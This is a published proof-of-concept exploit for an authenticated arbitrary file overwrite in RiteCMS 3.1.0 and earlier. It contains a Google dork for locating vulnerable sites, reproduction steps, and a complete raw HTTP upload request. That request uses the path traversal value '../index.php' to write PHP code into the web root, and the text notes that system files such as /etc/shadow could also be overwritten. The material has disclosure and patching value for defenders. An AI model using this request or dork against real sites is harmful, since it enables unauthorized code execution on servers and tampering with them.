RiteCMS 3.1.0 - Arbitrary File Overwrite (Authenticated)

# Exploit Title: RiteCMS 3.1.0 - Arbitrary File Overwrite (Authenticated)
# Date: 25/07/2021
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://ritecms.com/
# Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
# Version: <= 3.1.0
# Google Dork: intext:"Powered by RiteCMS"
# Tested on: Windows 10, Ubuntu 18, XAMPP
# Reference: https://gist.github.com/faisalfs10x/4a3b76f666ff4c0443e104c3baefb91b


################
# Description  #
################

# RiteCMS version 3.1.0 and below suffers from an arbitrary file overwrite vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to overwrite any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to write). Furthermore, an attacker might leverage the capability of arbitrary file overwrite to modify existing file such as /etc/passwd or /etc/shadow if the current PHP process user is run as root.


############################################################
# PoC to overwrite existing index.php to display phpinfo() #
############################################################


Steps to Reproduce:

1. Login as admin
2. Go to File Manager
3. Then, click Upload file > Browse.. 
4. Upload any file and click checkbox name "overwrite file with same name"
4. Intercept the request and replace current file name to any files path on the server via parameter "file_name".


PoC: param file_name - to overwrite index.php to display phpinfo, so the payload will be "../index.php"
	 param filename - with the content of "<?php phpinfo(); ?>"

Request:
========

POST /ritecmsv3.1.0/admin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------351719865731412638493510448298
Content-Length: 1840
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://192.168.8.143/ritecmsv3.1.0/admin.php?mode=filemanager&action=upload&directory=media
Cookie: PHPSESSID=nuevl0lgkrc3dv44g3vgkoqqre
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="mode"

filemanager
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="file"; filename="anyfile.txt"
Content-Type: application/octet-stream

content of the file to overwrite here
-- this is example to overwrite index.php to display phpinfo --
<?php phpinfo(); ?>
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="directory"

media
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="file_name"

../index.php
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="overwrite_file"

true
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="upload_mode"

1
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="resize_xy"

x
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="resize"

640
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="compression"

80
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="thumbnail_resize_xy"

x
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="thumbnail_resize"

150
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="thumbnail_compression"

70
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="upload_file_submit"

OK - Upload file
-----------------------------351719865731412638493510448298--